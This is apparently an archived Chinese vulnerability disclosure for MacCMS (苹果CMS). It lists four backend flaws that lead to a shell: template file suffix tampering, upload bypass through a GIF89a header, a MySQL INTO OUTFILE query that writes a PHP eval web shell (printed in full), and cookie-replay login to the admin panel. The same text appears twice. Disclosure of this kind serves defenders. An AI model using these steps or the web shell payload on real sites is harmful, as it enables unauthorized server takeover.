苹果CMS全版本getshell打包第一弹

### 简要描述： 苹果CMS全版本后台getshell打包 苹果cms官网http://www.maccms.com/ ### 详细说明： 漏洞一后台模板任意后缀文件 [<img src="https://images.seebug.org/upload/201402/2809474390f6d06521ddd092ec7c755cfc8375f2.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/2809474390f6d06521ddd092ec7c755cfc8375f2.jpg) chrome审查元素吧value里的.html改成.php [<img src="https://images.seebug.org/upload/201402/2809495593fdda8bc9ec1ca52d7c78994b0309f6.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/2809495593fdda8bc9ec1ca52d7c78994b0309f6.jpg) 拿到shell 漏洞2后台任意上传文件 [<img src="https://images.seebug.org/upload/201402/28095118e5be2bb668fad85006e7fd03338b5828.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/28095118e5be2bb668fad85006e7fd03338b5828.jpg) 视频管理里文件头部添加gif89a任意上传后缀文件 [<img src="https://images.seebug.org/upload/201402/28095230c3afd6a47a0b928e8aaaa37c5b9c209a.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/28095230c3afd6a47a0b928e8aaaa37c5b9c209a.jpg) 漏洞3包路径+执行数据库拿shell [<img src="https://images.seebug.org/upload/201402/28095350d3c825dd9ee3d71ce5776a72680c3211.jpg" alt="5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/28095350d3c825dd9ee3d71ce5776a72680c3211.jpg) 获得路径+mysql 执行 ``` select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:\PHPnow-1.5.6\htdocs\mac\wooyun.php' ``` [<img src="https://images.seebug.org/upload/201402/28095621e3dec31127a6614221467e9481b69a9b.jpg" alt="6.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/28095621e3dec31127a6614221467e9481b69a9b.jpg) 拿到shell 漏洞4任意cookie登入后台 只要知道后台账号本地搭建环境用cookie浏览器获取cookie然后到目标网站登入修改cookie直接进入后台 ### 漏洞证明： 漏洞一后台模板任意后缀文件 [<img src="https://images.seebug.org/upload/201402/2809474390f6d06521ddd092ec7c755cfc8375f2.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/2809474390f6d06521ddd092ec7c755cfc8375f2.jpg) chrome审查元素吧value里的.html改成.php [<img src="https://images.seebug.org/upload/201402/2809495593fdda8bc9ec1ca52d7c78994b0309f6.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/2809495593fdda8bc9ec1ca52d7c78994b0309f6.jpg) 拿到shell 漏洞2后台任意上传文件 [<img src="https://images.seebug.org/upload/201402/28095118e5be2bb668fad85006e7fd03338b5828.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/28095118e5be2bb668fad85006e7fd03338b5828.jpg) 视频管理里文件头部添加gif89a任意上传后缀文件 [<img src="https://images.seebug.org/upload/201402/28095230c3afd6a47a0b928e8aaaa37c5b9c209a.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/28095230c3afd6a47a0b928e8aaaa37c5b9c209a.jpg) 漏洞3包路径+执行数据库拿shell [<img src="https://images.seebug.org/upload/201402/28095350d3c825dd9ee3d71ce5776a72680c3211.jpg" alt="5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/28095350d3c825dd9ee3d71ce5776a72680c3211.jpg) 获得路径+mysql 执行 ``` select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:\PHPnow-1.5.6\htdocs\mac\wooyun.php' ``` [<img src="https://images.seebug.org/upload/201402/28095621e3dec31127a6614221467e9481b69a9b.jpg" alt="6.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/28095621e3dec31127a6614221467e9481b69a9b.jpg) 拿到shell 漏洞4任意cookie登入后台 只要知道后台账号本地搭建环境用cookie浏览器获取cookie然后到目标网站登入修改cookie直接进入后台